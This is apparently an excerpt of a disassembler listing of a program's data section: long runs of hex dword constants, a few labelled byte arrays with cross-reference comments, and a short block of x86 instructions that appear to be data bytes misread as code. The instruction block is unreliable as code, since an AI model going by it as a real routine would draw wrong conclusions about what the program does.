dd 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh
dd 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh
dd 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh
dd 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h
dd 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h
dd 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch
dd 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah
dd 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h
dd 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h
dd 33705700h, 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h
dd 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h
dd 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h, 88595D16h
dd 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h
dd 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh
dd 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh
dd 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h
dd 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h
dd 58001A10h, 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh
dd 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah
dd 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh
dd 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h
dd 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h
dd 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh
dd 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h
dd 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h
dd 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh
dd 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h
dd 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h
dd 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h
dd 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh
dd 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah
dd 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h
dd 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h
dd 972D00E1h, 70895130h, 94900853h, 5C81B800h, 0EA18212Bh
dd 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h
dd 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h
dd 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h
dd 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h
dd 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h
dd 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h
dd 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h
dd 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h
dd 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h
dd 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh
dd 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah
dd 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h
dd 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h
dd 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h
dd 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h
dd 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h
dd 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh, 1B29DB1Ch
dd 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch
dd 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh
dd 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h
dd 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h
dd 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h
dd 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh
dd 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h
dd 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh
dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h
dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h
dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh
dd 900480B6h, 5AC02D89h
dd 98ECCEF6h, 586179F5h, 2008DBDh, 898F0C6Dh, 0FC002938h
dd 4F63CE5Eh, 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh
dd 0CCEAD723h, 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h
dd 87170501h, 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh
dd 3F7794h, 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h
dd 0D4C40BC8h, 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh
dd 0A50014D1h, 0C8D8D707h, 6457EAh, 1328F7E4h, 8FCA2443h
dd 763D2673h, 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h
dd 0DEFC5B9Ah, 250066F0h, 1904532Dh, 451586h, 96BAB30Eh
dd 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch, 17883CE5h
dd 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h
dd 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah
dd 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h, 0A30FDBB8h
dd 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h, 0D1CE3C5h
dd 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h, 12E0ABBDh
dd 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh
dd 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h
dd 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h
dd 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h
dd 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h
dd 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h
dd 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h
dd 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh
dd 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah
dd 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah
dd 0F513E5h, 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch
dd 0D641F8h, 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h
dd 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h
dd 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h
dd 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h
dd 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h
dd 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h
dd 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h
dd 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h
dd 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h
dd 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h, 30B4D26Ch
dd 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h
db 85h
byte_504341 db 9Dh, 0F4h, 1 ; DATA XREF: seg001:off_43AD54o
dd 0EB0BE4EAh, 0D0A1154Eh
db 3Bh, 0DAh, 0
byte_50434F db 0F6h ; DATA XREF: seg001:off_43AD50o
dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h
dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h
dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh
dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch
dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch
dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh
dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h
dd 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h, 911F6850h
dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h
dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h
dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh
dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h
dd 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h
dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h
dd 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h
dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh
dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h
dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h
dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh
dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h
dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h
dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h
dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h
dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h
dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h, 24E57593h
dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h
dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h
dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh
dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh
dd 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch
dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah
dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h
dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh
dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h, 0C0DE2090h
dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h
dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh
dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h
dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah
dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h
dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh
dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h
dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h
dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch
dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah
dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h
dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h
dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h
dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh
dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh
dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h
dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h
dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h
dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h
dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh
dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h
dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h
dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h
dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h
dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h
dd 7542320h, 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h
dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh
dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h
dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h
dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h
dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh
dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h
dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h, 89040300h
dd 18251505h, 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h
dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh
dd 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h
dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh
dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h
dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h
dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah
dd 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h
dd 29000525h, 2402D6F8h, 0C82D66h, 505553B4h, 22579856h
dd 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h
dd 3E00E92Fh, 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h
dd 4CFC831Ch, 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h
dd 0F7282474h, 7440698h, 62336815h, 0C71CD0FFh, 17CC849h
dd 890080ECh, 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h
dd 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh
dd 33C5D00h, 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h
dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h
dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h
dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h
dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h
dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h
dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh
dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
dd 3E3DAh
dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h
dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h, 13900085h
dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh
dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h
dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h
dd 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch, 0E8AACA81h
dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h
dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh
dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h
dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h
dd 2C35943h, 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h
dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h, 28007560h
dd 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h, 48C07DE0h
dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h
dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h
dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h
dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh
dd 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h, 640083C6h
dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h
dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h
dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h
dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh
dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h
dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h
dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h
dd 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh
dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h
dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h
dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h
dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh
dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h
dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h
dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h
dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h
dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h
dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh
dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h
dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h
dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh
dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h
dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h
dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h
dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h
dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h
dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h
dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h, 441007C4h
dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h
dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h
dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh
dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h
dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h
dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h
dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh
dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h
dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h
dd 83F2B900h, 2743EC7h, 822F0087h, 2757E181h, 0D900C958h
dd 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh, 0BA965307h
dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h
dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h
dd 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah
dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h
dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh
dd 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h
dd 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h
dd 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh
dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h
dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh
dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h
dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h
dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h
dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h
dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h, 6F936400h
dd 6D37803h, 20050055h, 2608A11Bh, 44006209h, 9811B34Ch
dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h
dd 0AC2EDC8Ah, 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h
dd 7AD95F7h, 804893D8h, 875C05Dh, 141FCCD3h, 6C02CA3h
dd 18F7C62Dh, 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h
dd 79E3184h, 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h
dd 9D607700h, 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h
dd 20309FAEh, 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h
dd 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h
dd 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h
dd 4E433C69h, 33F80154h, 7542252Eh, 344E7095h, 8057900h
dd 2306A32h, 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh
dd 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h
dd 48E71CBBh, 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh
dd 0CAFF50D3h, 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh
dd 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h
dd 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h, 6BAD48ACh
dd 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h, 0FE120100h, 0A93CEF2h
dd 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh, 0A9441DB9h
dd 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h, 7A75251Ch
dd 4B0A0F42h, 0C200A7D4h, 447B57FCh, 0A38F6950h, 22AF4500h
dd 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h, 5700A975h
dd 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h
dd 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah, 3100A521h
dd 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h, 2153CCA5h
dd 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h, 2A000FE6h
dd 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h, 0A030E0Dh
dd 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h, 85055729h
dd 8CBA9A3Fh, 0C951CE80h, 0B3070105h, 0F9255D02h, 2C81DCD4h
dd 0A67C3D00h, 41B5A9Ch, 0B3980A34h, 1CFEB05h
db 78h
byte_505345 db 0F8h, 79h, 0FCh ; DATA XREF: seg002:off_4507F0o
; seg002:off_4507F8o ...
; ---------------------------------------------------------------------------
mov edx, 3EB785ECh
inc esp
and ecx, [esi+5203A358h]
add [edx], ah
push ebp
or cl, [esi+66h]
jle short loc_505379
inc ecx
adc edx, [eax]
mov dword ptr [ebx-67h], 2806B027h
jmp short loc_5053A4
; ---------------------------------------------------------------------------
dd 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh
db 5Ah
byte_505375 db 0BEh, 83h, 0C1h ; CODE XREF: .data:005053C4j
db 26h
; ---------------------------------------------------------------------------
loc_505379: ; CODE XREF: .data:0050535Aj
mov bl, 6
mov ds:0C307C822h, eax
jb short loc_5053A0
sbb al, 8
jecxz short loc_5053A0
or byte ptr [ecx], 0E2h
push ss
xchg eax, esi
mov eax, 0E4B000Dh
push es
jz short near ptr loc_5053CA+1
sal byte ptr [ebx+2E8390Ah], 1
add [ebx], cl
xchg eax, ecx
and esp, [edx+7Ah]
lodsb
loc_5053A0: ; CODE XREF: .data:00505380j
; .data:00505384j
push edi
dec esp
stc
dec ebp
loc_5053A4: ; CODE XREF: .data:00505366j
add [ecx+eax+42h], al
movsd
or al, 92h
inc ecx
add [edi-9F4B28h], bh
adc eax, 1C4C28EBh
adc [ebx-3Fh], ebx
pop ebx
test [ecx+0D7F0E0h], ecx
pop esi
pushf
stosb
jnz short near ptr byte_505375
push esp
adc cl, [edi]
dec esp
loc_5053CA: ; CODE XREF: .data:00505391j
or [eax+1F1C800h], esp
add dh, [edx]
call near ptr 0BF15426h
; ---------------------------------------------------------------------------
db 0FEh
dd 287C0A6Ah, 5E49002Fh, 92981062h, 972F7908h, 9E74AFh
dd 3D024429h, 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah
dd 458A006Ah, 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h
